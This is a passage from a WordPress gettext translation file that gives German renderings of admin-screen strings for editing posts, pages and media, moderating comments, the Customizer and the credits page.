Mediathek wählen, worin schon bereits hochgeladene Bilder abgelegt wurden, oder neue Medien hochladen. Um eine Bildergalerie zu erstellen, wählst du die Bilder aus, die erscheinen sollen und klickst auf „Neue Galerie erstellen“." #: wp-admin/edit-form-advanced.php:355 wp-admin/media.php:96 msgid "<a href=\"https://wordpress.org/support/article/edit-media/\">Documentation on Edit Media</a>" msgstr "<a href=\"https://wordpress.org/support/article/edit-media/\">Dokumentation über die Bearbeitung von Medien (engl.)</a>" #: wp-admin/edit-form-advanced.php:349 wp-admin/media.php:90 msgid "Remember to click Update Media to save metadata entered or changed." msgstr "Vergiss nicht, zum Schluss auf „Aktualisieren“ zu klicken, damit deine Eingaben oder Änderungen auch gespeichert werden." #: wp-admin/edit-form-advanced.php:348 wp-admin/media.php:89 msgid "Note that you crop the image by clicking on it (the Crop icon is already selected) and dragging the cropping frame to select the desired part. Then click Save to retain the cropping." msgstr "" "Du kannst ein Bild zuschneiden, indem du in das Bild klickst, die Maustaste gedrückt hälst und den erscheinenden Auswahlrahmen über das Bild ziehst. Der Auswahlrahmen kann auch nachträglich verschoben oder verändert werden. Klicke dann auf „Speichern“, um den Zuschnitt zu übernehmen. \n" "Beachte auch, dass die Zuschneide-Funktion bereits automatisch aktiviert ist, wenn du ein Bild zum Bearbeiten öffnest." #: wp-admin/edit-form-advanced.php:347 wp-admin/media.php:88 msgid "For images only, you can click on Edit Image under the thumbnail to expand out an inline image editor with icons for cropping, rotating, or flipping the image as well as for undoing and redoing. The boxes on the right give you more options for scaling the image, for cropping it, and for cropping the thumbnail in a different way than you crop the original image. You can click on Help in those boxes to get more information." msgstr "Nur bei den Bildern kannst du auf „Original bearbeiten“ unter dem Thumbnail klicken, um einen Inline-Bildeditor mit Symbolen zum Zuschneiden, Drehen oder Spiegeln des Bildes sowie zum Rückgängigmachen und Wiederherstellen zu erweitern. Die Kästchen auf der rechten Seite bieten dir mehr Möglichkeiten, das Bild zu skalieren, es zu beschneiden und das Miniaturbild anders zu beschneiden als das Originalbild. Du kannst dort auch auf das Hilfe „?“ klicken, um weitere Informationen zu erhalten." #: wp-admin/edit-form-advanced.php:346 wp-admin/media.php:87 msgid "This screen allows you to edit fields for metadata in a file within the media library." msgstr "In dieser Ansicht kannst du Metadaten-Felder in einer Datei innerhalb der Mediathek bearbeiten." #: wp-admin/edit-form-advanced.php:337 msgid "<a href=\"https://wordpress.org/support/article/pages-screen/\">Documentation on Editing Pages</a>" msgstr "<a href=\"https://wordpress.org/support/article/pages-screen/\">Dokumentation zur Bearbeitung von Seiten (engl.)</a>" #: wp-admin/edit-form-advanced.php:336 msgid "<a href=\"https://wordpress.org/support/article/pages-add-new-screen/\">Documentation on Adding New Pages</a>" msgstr "<a href=\"https://wordpress.org/support/article/pages-add-new-screen/\">Dokumentation über das Hinzufügen neuer Seiten (engl.)</a>" #: wp-admin/edit-form-advanced.php:329 msgid "About Pages" msgstr "Über Seiten" #: wp-admin/edit-form-advanced.php:324 msgid "Creating a Page is very similar to creating a Post, and the screens can be customized in the same way using drag and drop, the Screen Options tab, and expanding/collapsing boxes as you choose. This screen also has the distraction-free writing space, available in both the Visual and Text modes via the Fullscreen buttons. The Page editor mostly works the same as the Post editor, but there are some Page-specific features in the Page Attributes box." msgstr "Eine Seite zu erstellen, ist sehr ähnlich wie das Erstellen eines Beitrags und der Bildschirm kann genauso per Drag-and-drop, dem Tab „Ansicht anpassen“ und durch Auf- und Zuklappen der Boxen individuell angepasst werden. Über den Vollbild-Button gelangst du in den ablenkungsfreien Schreibmodus, in dem du sowohl den visuellen als auch den Text-Editor verwenden kannst. Der Seiten-Editor funktioniert im Wesentlichen wie der Beitrags-Editor, aber in der Box Seiten-Attribute gibt es einige seitenspezifische Einstellungsmöglichkeiten." #: wp-admin/edit-form-advanced.php:323 wp-admin/edit.php:294 msgid "Pages are similar to posts in that they have a title, body text, and associated metadata, but they are different in that they are not part of the chronological blog stream, kind of like permanent posts. Pages are not categorized or tagged, but can have a hierarchy. You can nest pages under other pages by making one the “Parent” of the other, creating a group of pages." msgstr "Seiten sind Beiträgen recht ähnlich. Sie haben einen Titel, Inhalt und weitere Metadaten. Sie erscheinen jedoch nicht im chronologischen Blog-Stream und können auch nicht mit Kategorien und Schlagwörtern verknüpft werden. Dafür können Seiten hierarchisch angeordnet beziehungsweise verschachtelt werden, indem einer Seite „Eltern“ verpasst werden, also eine andere Seite als übergeordnete Seite festgelegt wird." #: wp-admin/edit-form-advanced.php:319 msgid "<a href=\"https://wordpress.org/support/article/wordpress-editor/\">Documentation on Writing and Editing Posts</a>" msgstr "<a href=\"https://wordpress.org/support/article/wordpress-editor/\">Dokumentation über das Verfassen und Bearbeiten von Beiträgen (engl.)</a>" #. translators: %s: URL to Press This bookmarklet. #: wp-admin/edit-form-advanced.php:315 msgid "You can also create posts with the <a href=\"%s\">Press This bookmarklet</a>." msgstr "Du kannst auch Beiträge erstellen, indem du das <a href=\"%s\">Press This Bookmarklet</a> verwendest." #: wp-admin/edit-form-advanced.php:307 msgid "Title and Post Editor" msgstr "Titel und Beitrags-Editor" #. translators: %s: Alt + F10 #: wp-admin/edit-form-advanced.php:300 msgid "Keyboard users: When you’re working in the visual editor, you can use %s to access the toolbar." msgstr "Tastaturbenutzer: Wenn du im visuellen Editor arbeitest, kannst du mit %s auf die Werkzeugleiste zugreifen." #: wp-admin/edit-form-advanced.php:297 msgid "You can enable distraction-free writing mode using the icon to the right. This feature is not available for old browsers or devices with small screens, and requires that the full-height editor be enabled in Screen Options." msgstr "Du kannst den Modus für das ablenkungsfreie Schreiben über das letzte Icon in der oberen Reihe aktivieren. Diese Funktion ist nicht in älteren Browsern oder Geräten mit kleinen Bildschirmen verfügbar und setzt voraus, dass die Anzeige des Editors in voller Höhe im Tab „Ansicht anpassen“ aktiviert wurde." #: wp-admin/edit-form-advanced.php:296 msgid "You can insert media files by clicking the button above the post editor and following the directions. You can align or edit images using the inline formatting toolbar available in Visual mode." msgstr "Du kannst Mediendateien einfügen, indem du den Button oberhalb des Beitrags-Editors anklickst und den Anweisungen folgst. Du kannst Bilder mit Hilfe der Werkzeugleiste für die Inline-Formatierung, die im visuellen Modus verfügbar ist, ausrichten oder bearbeiten." #: wp-admin/edit-form-advanced.php:295 msgid "The Text mode allows you to enter HTML along with your post text. Note that <p> and <br> tags are converted to line breaks when switching to the Text editor to make it less cluttered. When you type, a single line break can be used instead of typing <br>, and two line breaks instead of paragraph tags. The line breaks are converted back to tags automatically." msgstr "Der Text-Modus ermöglicht es dir den Beitragstext mit HTML zu formatieren. Beachte, dass <p> und <br> Tags in Zeilenumbrüche konvertiert werden, wenn du zurück auf den Texteditor schaltest. Bei der Eingabe kann ein einzelner Zeilenumbruch anstatt <br> zu tippen verwendet werden und zwei Umbrüche anstelle von Absatz-Tags. Die Zeilenumbrüche werden automatisch in Tags zurück gewandelt." #: wp-admin/edit-form-advanced.php:294 msgid "Visual mode gives you an editor that is similar to a word processor. Click the Toolbar Toggle button to get a second row of controls." msgstr "Der visuelle Modus bietet dir einen Editor, der einem Textverarbeitungsprogramm ähnelt. Klicke auf die Schaltfläche „Werkzeugleiste umschalten“, um eine zweite Reihe von Formatierungsoptionen zu erhalten." #: wp-admin/edit-form-advanced.php:293 msgid "<strong>Post editor</strong> — Enter the text for your post. There are two modes of editing: Visual and Text. Choose the mode by clicking on the appropriate tab." msgstr "<strong>Beitrags-Editor</strong> – Gib den Text für deinen Beitrag ein. Dafür stehen dir zwei Arten zur Verfügung: ein visueller und ein Text-Modus. Durch Anklicken des entsprechenden Tabs kannst du den Modus auswählen." #: wp-admin/edit-form-advanced.php:292 msgid "<strong>Title</strong> — Enter a title for your post. After you enter a title, you’ll see the permalink below, which you can edit." msgstr "<strong>Titel</strong> – Im ersten Eingabefeld dieser Seite musst du einen Titel für deinen Beitrag eingeben. Nachdem ein Titel eingetragen wurde, wird unter dem Eingabefeld der Permalink angezeigt, unter dem der Beitrag nach dem Veröffentlichen erreichbar ist." #: wp-admin/edit-form-advanced.php:287 msgid "Customizing This Display" msgstr "Diese Anzeige anpassen" #: wp-admin/edit-form-advanced.php:282 msgid "The title field and the big Post Editing Area are fixed in place, but you can reposition all the other boxes using drag and drop. You can also minimize or expand them by clicking the title bar of each box. Use the Screen Options tab to unhide more boxes (Excerpt, Send Trackbacks, Custom Fields, Discussion, Slug, Author) or to choose a 1- or 2-column layout for this screen." msgstr "Das Titelfeld und das große Feld für den Inhalt sind fest positioniert, aber alle anderen Boxen können per Drag-and-drop neu angeordnet werden. Du kannst diese auch minimieren oder maximieren durch Klicken auf die Titelleiste jeder Box. Nutze „Ansicht anpassen“, um weitere Boxen zu aktivieren oder deaktivieren (Textauszug, Trackbacks senden, individuelle Felder, Diskussionen, Titelform und Autor) oder wähle das 1- oder 2-Spalten-Layout für diese Ansicht." #. translators: %s: URL to view the autosave. #: wp-admin/edit-form-advanced.php:253 msgid "There is an autosave of this post that is more recent than the version below. <a href=\"%s\">View the autosave</a>" msgstr "Es ist eine automatisch gespeicherte Version dieses Beitrags verfügbar, welche neuer ist als die angezeigte Version. <a href=\"%s\">Die automatisch gespeicherte Version anzeigen</a>" #: wp-admin/edit-form-advanced.php:210 wp-admin/media.php:108 #: wp-admin/upload.php:293 wp-admin/upload.php:358 msgid "Media file updated." msgstr "Mediendatei aktualisiert." #: wp-admin/edit-form-advanced.php:208 msgid "Page draft updated." msgstr "Seitenentwurf aktualisiert." #. translators: %s: Scheduled date for the page. #: wp-admin/edit-form-advanced.php:207 msgid "Page scheduled for: %s." msgstr "Seite geplant für: %s" #: wp-admin/edit-form-advanced.php:205 msgid "Page submitted." msgstr "Seite abgeschickt." #: wp-admin/edit-form-advanced.php:204 msgid "Page saved." msgstr "Die Seite wurde gespeichert." #. translators: %s: Date and time of the revision. #: wp-admin/edit-form-advanced.php:202 msgid "Page restored to revision from %s." msgstr "Seite aus Revision vom %s wiederhergestellt." #: wp-admin/edit-form-advanced.php:193 msgid "Post draft updated." msgstr "Beitragsentwurf aktualisiert." #. translators: %s: Scheduled date for the post. #: wp-admin/edit-form-advanced.php:192 msgid "Post scheduled for: %s." msgstr "Beitrag geplant für: %s." #: wp-admin/edit-form-advanced.php:190 msgid "Post submitted." msgstr "Beitrag abgeschickt." #: wp-admin/edit-form-advanced.php:189 msgid "Post saved." msgstr "Beitrag gespeichert." #. translators: %s: Date and time of the revision. #: wp-admin/edit-form-advanced.php:187 msgid "Post restored to revision from %s." msgstr "Beitrag aus Revision vom %s wiederhergestellt." #: wp-admin/edit-form-advanced.php:184 wp-admin/edit-form-advanced.php:199 msgid "Custom field deleted." msgstr "Individuelles Feld gelöscht." #: wp-admin/edit-form-advanced.php:183 wp-admin/edit-form-advanced.php:198 msgid "Custom field updated." msgstr "Individuelles Feld aktualisiert." #. translators: Publish box time format, see #. https://www.php.net/manual/datetime.format.php #: wp-admin/edit-form-advanced.php:177 wp-admin/edit-form-comment.php:130 #: wp-admin/includes/meta-boxes.php:220 wp-admin/includes/meta-boxes.php:412 msgctxt "publish box time format" msgid "H:i" msgstr "H:i" #. translators: Publish box date format, see #. https://www.php.net/manual/datetime.format.php #: wp-admin/edit-form-advanced.php:175 wp-admin/edit-form-comment.php:128 #: wp-admin/includes/meta-boxes.php:218 wp-admin/includes/meta-boxes.php:410 msgctxt "publish box date format" msgid "M j, Y" msgstr "j. M. Y" #: wp-admin/edit-form-advanced.php:166 msgid "View page" msgstr "Seite anzeigen" #: wp-admin/edit-form-advanced.php:152 wp-admin/edit-form-advanced.php:159 msgid "Preview page" msgstr "Vorschau der Seite" #: wp-admin/edit-form-advanced.php:131 wp-admin/edit-form-advanced.php:138 msgid "Preview post" msgstr "Beitrags-Vorschau" #: wp-admin/edit-comments.php:329 msgid "Search Comments" msgstr "Kommentare durchsuchen" #: wp-admin/edit-comments.php:314 msgid "This comment is already marked as spam." msgstr "Dieser Kommentar ist bereits als Spam markiert." #: wp-admin/edit-comments.php:311 msgid "View Trash" msgstr "Papierkorb anzeigen" #: wp-admin/edit-comments.php:311 msgid "This comment is already in the Trash." msgstr "Dieser Kommentar befindet sich bereits im Papierkorb." #: wp-admin/edit-comments.php:308 wp-admin/edit-comments.php:314 msgid "Edit comment" msgstr "Kommentar bearbeiten" #: wp-admin/edit-comments.php:308 msgid "This comment is already approved." msgstr "Dieser Kommentar wurde bereits freigegeben." #. translators: %s: Number of comments. #: wp-admin/edit-comments.php:300 msgid "%s comment permanently deleted." msgid_plural "%s comments permanently deleted." msgstr[0] "%s Kommentar wurde endgültig gelöscht." msgstr[1] "%s Kommentare wurden endgültig gelöscht." #. translators: %s: Number of comments. #: wp-admin/edit-comments.php:295 msgid "%s comment restored from the Trash." msgid_plural "%s comments restored from the Trash." msgstr[0] "%s Kommentar wurde aus dem Papierkorb geholt." msgstr[1] "%s Kommentare wurden aus dem Papierkorb geholt." #. translators: %s: Number of comments. #: wp-admin/edit-comments.php:290 msgid "%s comment moved to the Trash." msgid_plural "%s comments moved to the Trash." msgstr[0] "%s Kommentar wurde in den Papierkorb gelegt." msgstr[1] "%s Kommentare wurden in den Papierkorb gelegt." #. translators: %s: Number of comments. #: wp-admin/edit-comments.php:284 msgid "%s comment restored from the spam." msgid_plural "%s comments restored from the spam." msgstr[0] "%s Kommentar aus dem Spam geholt." msgstr[1] "%s Kommentare aus dem Spam geholt." #. translators: %s: Number of comments. #: wp-admin/edit-comments.php:279 msgid "%s comment marked as spam." msgid_plural "%s comments marked as spam." msgstr[0] "%s Kommentar als Spam markiert." msgstr[1] "%s Kommentare als Spam markiert." #. translators: %s: Number of comments. #: wp-admin/edit-comments.php:273 msgid "%s comment approved." msgid_plural "%s comments approved." msgstr[0] "%s Kommentar freigegeben." msgstr[1] "%s Kommentare freigegeben." #. translators: %s: Search query. #: wp-admin/edit-comments.php:235 wp-admin/edit-tags.php:344 #: wp-admin/edit.php:412 wp-admin/link-manager.php:110 wp-admin/plugins.php:735 #: wp-admin/upload.php:281 wp-admin/users.php:630 wp-admin/js/updates.js:2634 #: wp-admin/network/sites.php:377 wp-admin/network/themes.php:358 #: wp-admin/network/users.php:284 msgid "Search results for: %s" msgstr "Suchergebnisse für: %s" #: wp-admin/edit-comments.php:204 msgid "Comments list" msgstr "Kommentarliste" #: wp-admin/edit-comments.php:203 msgid "Comments list navigation" msgstr "Navigation der Kommentarliste" #: wp-admin/edit-comments.php:202 msgid "Filter comments list" msgstr "Kommentarliste filtern" #: wp-admin/edit-comments.php:196 msgid "<a href=\"https://wordpress.org/support/article/keyboard-shortcuts/\">Documentation on Keyboard Shortcuts</a>" msgstr "<a href=\"https://wordpress.org/support/article/keyboard-shortcuts/\">Dokumentation über Tastaturkürzel (engl.)</a>" #: wp-admin/edit-comments.php:195 msgid "<a href=\"https://wordpress.org/support/article/comment-spam/\">Documentation on Comment Spam</a>" msgstr "<a href=\"https://wordpress.org/support/article/comment-spam/\">Dokumentation über Kommentar-Spam (engl.)</a>" #: wp-admin/edit-comments.php:188 msgid "Many people take advantage of keyboard shortcuts to moderate their comments more quickly. Use the link to the side to learn more." msgstr "Um Kommentare schneller zu moderieren kannst du, wie viele andere Benutzer auch, Tastaturkürzel verwenden. Nutze den Link auf der Seite zur Dokumentation, um die entsprechenden Tastaturkürzel nachzuschlagen." #: wp-admin/edit-comments.php:187 msgid "In the <strong>Submitted on</strong> column, the date and time the comment was left on your site appears. Clicking on the date/time link will take you to that comment on your live site." msgstr "In der Spalte <strong>Eingereicht am</strong> erscheinen das Datum und die Uhrzeit, zu der der Kommentar gesendet wurde. Mit einem Klick auf das Datum/die Uhrzeit gelangst du zum Kommentar auf der Website." #: wp-admin/edit-comments.php:186 msgid "In the <strong>In response to</strong> column, there are three elements. The text is the name of the post that inspired the comment, and links to the post editor for that entry. The View Post link leads to that post on your live site. The small bubble with the number in it shows the number of approved comments that post has received. If there are pending comments, a red notification circle with the number of pending comments is displayed. Clicking the notification circle will filter the comments screen to show only pending comments on that post." msgstr "In der Spalte <strong>Als Antwort auf</strong> gibt es drei Elemente. Der Text ist der Name des Beitrags des zugrunde liegenden Kommentars und verlinkt zum Editor für diesen Beitrag. „Beitrag ansehen“ verlinkt direkt auf diesen Beitrag auf deiner Website. Die kleine Sprechblase mit der Nummer zeigt die Anzahl der zugelassenen Kommentare auf deiner Website, die der Beitrag erhalten hat. Wenn es noch ausstehende Kommentare gibt, dann wird ein roter Kreis mit der Nummer an ausstehenden Kommentaren angezeigt. Ein Klick auf diesen Kreis filtert die Kommentare und zeigt nur die ausstehenden Kommentare zu diesem Beitrag." #: wp-admin/edit-comments.php:185 msgid "In the <strong>Comment</strong> column, hovering over any comment gives you options to approve, reply (and approve), quick edit, edit, spam mark, or trash that comment." msgstr "In der Spalte <strong>Kommentar</strong> hast du bei Mauszeigerkontakt eines Kommentars die Möglichkeit, den Kommentar freizugeben, darauf zu antworten (und ihn freizugeben), Anpassungen (durch QuickEdit) vorzunehmen, ihn zu bearbeiten, als Spam zu markieren oder in den Papierkorb zu legen." #: wp-admin/edit-comments.php:184 msgid "In the <strong>Author</strong> column, in addition to the author’s name, email address, and blog URL, the commenter’s IP address is shown. Clicking on this link will show you all the comments made from this IP address." msgstr "In der Spalte <strong>Autor</strong> werden Daten wie der Name, E-Mail-Adresse, Website-URL und IP-Adresse des Kommentierenden angezeigt. Wenn du auf die IP-Adresse klickst, siehst du alle Kommentare, die von dieser IP-Adresse abgegeben wurden." #: wp-admin/edit-comments.php:183 msgid "A red bar on the left means the comment is waiting for you to moderate it." msgstr "Ein roter Balken auf der linken Seite bedeutet, dass der Kommentar auf deine Moderation wartet." #: wp-admin/edit-comments.php:181 msgid "Moderating Comments" msgstr "Kommentare moderieren" #: wp-admin/edit-comments.php:175 msgid "You can manage comments made on your site similar to the way you manage posts and other content. This screen is customizable in the same ways as other management screens, and you can act on comments using the on-hover action links or the bulk actions." msgstr "Du kannst Kommentare auf deiner Website ähnlich wie Beiträge und andere Inhalte verwalten. Diese Ansicht ist genauso anpassbar wie andere Bereiche. Mit den Kommentaren lässt sich ebenso agieren, wenn du die durch Mauszeigerkontakt angezeigten Links nutzt oder die Mehrfachaktionen verwendest." #. translators: %s: Comments count. #: wp-admin/edit-comments.php:160 wp-admin/js/edit-comments.js:196 #: wp-admin/js/edit-comments.js:216 msgid "Comments (%s)" msgstr "Kommentare (%s)" #. translators: %s: Post title. #. translators: %s: Link to post. #: wp-admin/edit-comments.php:151 wp-admin/edit-comments.php:217 msgid "Comments on “%s”" msgstr "Kommentare zu „%s“" #. translators: 1: Comments count, 2: Post title. #: wp-admin/edit-comments.php:144 msgid "Comments (%1$s) on “%2$s”" msgstr "Kommentare (%1$s) zu „%2$s“" #: wp-admin/customize.php:247 msgctxt "short (~12 characters) label for hide controls button" msgid "Hide Controls" msgstr "Ausblenden" #: wp-admin/customize.php:233 msgid "The Customizer allows you to preview changes to your site before publishing them. You can navigate to different pages on your site within the preview. Edit shortcuts are shown for some editable elements." msgstr "Der Customizer ermöglicht dir eine Vorschau der Änderungen an deiner Website vor dem Veröffentlichen. Du kannst innerhalb der Vorschau unterschiedliche Seiten deiner Website ansteuern. Es werden Buttons neben den editierbaren Elementen angezeigt." #: wp-admin/customize.php:206 msgid "Close the Customizer and go back to the previous page" msgstr "Schließe den Customizer und gehe zur vorherigen Seite zurück" #: wp-admin/customize.php:195 wp-admin/theme-install.php:374 #: wp-admin/theme-install.php:421 wp-admin/themes.php:551 #: wp-admin/themes.php:897 wp-admin/themes.php:1113 msgctxt "theme" msgid "Cannot Activate" msgstr "Aktivierung nicht möglich" #: wp-admin/customize.php:147 wp-admin/includes/class-wp-debug-data.php:440 #: wp-admin/includes/dashboard.php:1107 wp-admin/includes/dashboard.php:1297 msgid "Loading…" msgstr "Lädt …" #: wp-admin/customize.php:80 msgid "This changeset cannot be further modified." msgstr "Dieses Änderungs-Set kann nicht weiter modifiziert werden." #: wp-admin/customize.php:72 wp-admin/customize.php:81 msgid "Customize New Changes" msgstr "Neue Änderungen anpassen" #: wp-admin/customize.php:71 msgid "Your scheduled changes just published" msgstr "Deine geplanten Änderungen wurden gerade veröffentlicht" #: wp-admin/customize.php:35 msgid "Sorry, you are not allowed to edit this changeset." msgstr "Du bist leider nicht berechtigt, dieses Änderungs-Set zu bearbeiten." #: wp-admin/credits.php:150 msgid "External Libraries" msgstr "Externe Bibliotheken" #: wp-admin/credits.php:149 msgid "Core Developer" msgstr "Core-Entwicklung" #: wp-admin/credits.php:148 msgid "Release Deputy" msgstr "Stellvertretende Release-Leitung" #: wp-admin/credits.php:147 msgid "Release Design Lead" msgstr "Release-Leitung Design" #: wp-admin/credits.php:146 msgid "Release Lead" msgstr "Release-Leitung" #: wp-admin/credits.php:145 msgid "Lead Developer" msgstr "Leitende Entwicklung" #: wp-admin/credits.php:144 msgid "Cofounder, Project Lead" msgstr "Mitgründer, Projektleitung" #: wp-admin/credits.php:143 msgid "Noteworthy Contributors" msgstr "Hervorzuhebende Mitwirkende" #. translators: %s: The current WordPress version number. #: wp-admin/credits.php:142 msgid "Core Contributors to WordPress %s" msgstr "Mitwirkende am Core von WordPress %s" #: wp-admin/credits.php:140 msgid "Project Leaders" msgstr "Projektleitung" #. translators: %s: https://make.wordpress.org #: wp-admin/credits.php:75 msgid "Want to see your name in lights on this page? <a href=\"%s\">Get involved in WordPress</a>." msgstr "Wenn du willst, dass auch dein Name auf dieser Seite erscheint, dann <a href=\"%s\">mach mit bei WordPress</a>." #: wp-admin/credits.php:69 msgid "WordPress is created by a worldwide team of passionate individuals." msgstr "WordPress wird von einem weltweiten Team passionierter Menschen entwickelt." #: wp-admin/credits.php:61 wp-admin/credits.php:76 msgid "https://make.wordpress.org/" msgstr "https://make.wordpress.org/" #: wp-admin/credits.php:60 msgid "https://wordpress.org/about/" msgstr "https://de.wordpress.org/about/" #. translators: 1: https://wordpress.org/about/, 2: https://make.wordpress.org #: wp-admin/credits.php:59 msgid "WordPress is created by a <a href=\"%1$s\">worldwide team</a> of passionate individuals. <a href=\"%2$s\">Get involved in WordPress</a>." msgstr "WordPress wird von einem <a href=\"%1$s\">weltweiten Team</a> passionierter Menschen entwickelt. <a href=\"%2$s\">Bring dich in WordPress ein</a>." #: wp-admin/comment.php:367 msgid "Unknown action." msgstr "Unbekannte Aktion." #: wp-admin/comment.php:279 wp-admin/edit-comments.php:253 #: wp-admin/includes/comment.php:55 msgid "Sorry, you are not allowed to edit comments on this post." msgstr "Du bist leider nicht berechtigt, Kommentare zu diesem Beitrag zu bearbeiten." #: wp-admin/comment.php:212 msgid "Submitted on" msgstr "Eingereicht am" #. translators: Column name or table row header. #: wp-admin/comment.php:186 #: wp-admin/includes/class-wp-comments-list-table.php:466 msgid "In response to" msgstr "Als Antwort auf" #: wp-admin/comment.php:166 wp-admin/plugins.php:342 wp-admin/plugins.php:348 #: wp-admin/theme-editor.php:305 wp-admin/includes/network.php:444 #: wp-admin/includes/network.php:452 wp-admin/includes/network.php:460 #: wp-admin/network/themes.php:137 wp-admin/network/themes.php:141 msgid "Caution:" msgstr "Vorsicht:" #: wp-admin/comment.php:158 msgid "This comment is currently in the Trash." msgstr "Dieser Kommentar ist bereits im Papierkorb." #: wp-admin/comment.php:155 msgid "This comment is currently marked as spam." msgstr "Dieser Kommentar wurde als Spam eingestuft." #: wp-admin/comment.php:152 msgid "This comment is currently approved." msgstr "Dieser Kommentar ist derzeit freigegeben." #: wp-admin/comment.php:144 msgid "Approve comment" msgstr "Kommentar freigeben" #: wp-admin/comment.php:143 msgid "You are about to approve the following comment:" msgstr "Du bist dabei, den folgenden Kommentar freizugeben:" #: wp-admin/comment.php:140 msgid "Permanently delete comment" msgstr "Kommentar endgültig löschen" #: wp-admin/comment.php:139 msgid "You are about to delete the following comment:" msgstr "Du bist dabei, den folgenden Kommentar zu löschen:" #: wp-admin/comment.php:135 msgid "You are about to move the following comment to the Trash:" msgstr "Du bist dabei, den folgenden Kommentar in den Papierkorb zu legen." #: wp-admin/comment.php:132 #: wp-admin/includes/class-wp-comments-list-table.php:362 msgctxt "comment" msgid "Mark as spam" msgstr "Als Spam markieren" #: wp-admin/comment.php:131 msgid "You are about to mark the following comment as spam:" msgstr "Du bist dabei, den folgenden Kommentar als Spam zu markieren:" #: wp-admin/comment.php:99 msgid "Moderate Comment" msgstr "Kommentar moderieren" #: wp-admin/comment.php:86 msgid "This comment is in the Trash. Please move it out of the Trash if you want to edit it." msgstr "Dieser Kommentar befindet sich im Papierkorb. Wenn du ihn bearbeiten möchtest, musst du ihn aus dem Papierkorb wiederherstellen." #: wp-admin/comment.php:71 wp-admin/edit-comments.php:197 #: wp-admin/edit-form-advanced.php:320 wp-admin/edit-form-advanced.php:338 #: wp-admin/edit-form-advanced.php:356 wp-admin/edit-link-form.php:77 #: wp-admin/edit-tags.php:314 wp-admin/edit.php:285 wp-admin/edit.php:310 #: wp-admin/erase-personal-data.php:63 wp-admin/export-personal-data.php:63 #: wp-admin/export.php:58 wp-admin/import.php:32 #: wp-admin/includes/class-custom-background.php:100 #: wp-admin/includes/class-custom-image-header.php:135 wp-admin/index.php:112 #: wp-admin/link-manager.php:79 wp-admin/media-new.php:61 wp-admin/media.php:97 #: wp-admin/my-sites.php:52 wp-admin/nav-menus.php:650 #: wp-admin/options-discussion.php:32 wp-admin/options-general.php:49 #: wp-admin/options-media.php:38 wp-admin/options-permalink.php:62 #: wp-admin/options-reading.php:53 wp-admin/options-writing.php:53 #: wp-admin/plugin-editor.php:144 wp-admin/plugin-install.php:110 #: wp-admin/plugins.php:589 wp-admin/revision.php:157 #: wp-admin/theme-editor.php:55 wp-admin/theme-install.php:132 #: wp-admin/themes.php:208 wp-admin/tools.php:56 wp-admin/update-core.php:972 #: wp-admin/upload.php:76 wp-admin/upload.php:253 wp-admin/user-edit.php:72 #: wp-admin/user-new.php:295 wp-admin/users.php:76 wp-admin/widgets.php:84 #: wp-admin/network.php:81 wp-admin/network/settings.php:64 #: wp-admin/network/themes.php:325 wp-admin/network/upgrade.php:32 msgid "<a href=\"https://wordpress.org/support/\">Support</a>" msgstr "<a href=\"https://de.wordpress.org/support/\">Support-Foren</a>" #: wp-admin/comment.php:70 wp-admin/edit-comments.php:194 msgid "<a href=\"https://wordpress.org/support/article/comments-screen/\">Documentation on Comments</a>" msgstr "<a href=\"https://wordpress.org/support/article/comments-screen/\">Dokumentation zu Kommentaren (engl.)</a>" #: wp-admin/comment.php:69 wp-admin/edit-comments.php:193 #: wp-admin/edit-form-advanced.php:318 wp-admin/edit-form-advanced.php:335 #: wp-admin/edit-form-advanced.php:354 wp-admin/edit-link-form.php:75 #: wp-admin/edit-tags.php:304 wp-admin/edit.php:283 wp-admin/edit.php:308 #: wp-admin/erase-personal-data.php:61 wp-admin/export-personal-data.php:61 #: wp-admin/export.php:56 wp-admin/import.php:30 #: wp-admin/includes/class-custom-background.php:98 #: wp-admin/includes/class-custom-image-header.php:133 #: wp-admin/includes/ms.php:1159 wp-admin/index.php:110 #: wp-admin/link-manager.php:77 wp-admin/media-new.php:59 wp-admin/media.php:95 #: wp-admin/my-sites.php:50 wp-admin/nav-menus.php:648 #: wp-admin/options-discussion.php:30 wp-admin/options-general.php:47 #: wp-admin/options-media.php:36 wp-admin/options-permalink.php:59 #: wp-admin/options-reading.php:51 wp-admin/options-writing.php:51 #: wp-admin/plugin-editor.php:141 wp-admin/plugin-install.php:108 #: wp-admin/plugins.php:586 wp-admin/revision.php:155 #: wp-admin/theme-editor.php:50 wp-admin/theme-install.php:130 #: wp-admin/themes.php:205 wp-admin/tools.php:54 wp-admin/update-core.php:969 #: wp-admin/upload.php:74 wp-admin/upload.php:251 wp-admin/user-edit.php:70 #: wp-admin/user-new.php:293 wp-admin/users.php:73 wp-admin/widgets.php:82 #: wp-admin/network.php:65 wp-admin/network.php:78 #: wp-admin/network/index.php:54 wp-admin/network/settings.php:62 #: wp-admin/network/site-new.php:31 wp-admin/network/sites.php:44 #: wp-admin/network/themes.php:322 wp-admin/network/upgrade.php:30 #: wp-admin/network/user-new.php:28 wp-admin/network/users.php:229 msgid "For more information:" msgstr "Für weitere Informationen:" #: wp-admin/comment.php:64 msgid "You can also moderate the comment from this screen using the Status box, where you can also change the timestamp of the comment." msgstr "Du kannst auch Kommentare über diese Seite moderieren, indem du im Modul <em>Status</em> die entsprechende Einstellung triffst. Es ist ebenso möglich, das Datum des Kommentars zu ändern." #: wp-admin/comment.php:63 msgid "You can edit the information left in a comment if needed. This is often useful when you notice that a commenter has made a typographical error." msgstr "Du kannst einen Kommentartext auch bearbeiten, um zum Beispiel einen Rechtschreibfehler zu beheben." #: wp-admin/comment.php:61 wp-admin/edit-comments.php:173 #: wp-admin/edit-form-advanced.php:344 wp-admin/edit-link-form.php:66 #: wp-admin/edit-tags.php:268 wp-admin/edit.php:239 wp-admin/edit.php:292 #: wp-admin/erase-personal-data.php:20 wp-admin/export-personal-data.php:20 #: wp-admin/export.php:49 wp-admin/import.php:23 #: wp-admin/includes/class-custom-background.php:88 #: wp-admin/includes/class-custom-image-header.php:97 #: wp-admin/includes/class-wp-screen.php:853 wp-admin/includes/ms.php:1137 #: wp-admin/index.php:42 wp-admin/link-manager.php:56 wp-admin/media-new.php:48 #: wp-admin/media.php:85 wp-admin/my-sites.php:43 wp-admin/nav-menus.php:600 #: wp-admin/nav-menus.php:641 wp-admin/options-discussion.php:23 #: wp-admin/options-general.php:41 wp-admin/options-media.php:30 #: wp-admin/options-permalink.php:22 wp-admin/options-reading.php:24 #: wp-admin/options-writing.php:22 wp-admin/plugin-editor.php:124 #: wp-admin/plugin-install.php:84 wp-admin/plugins.php:543 #: wp-admin/revision.php:150 wp-admin/theme-editor.php:27 #: 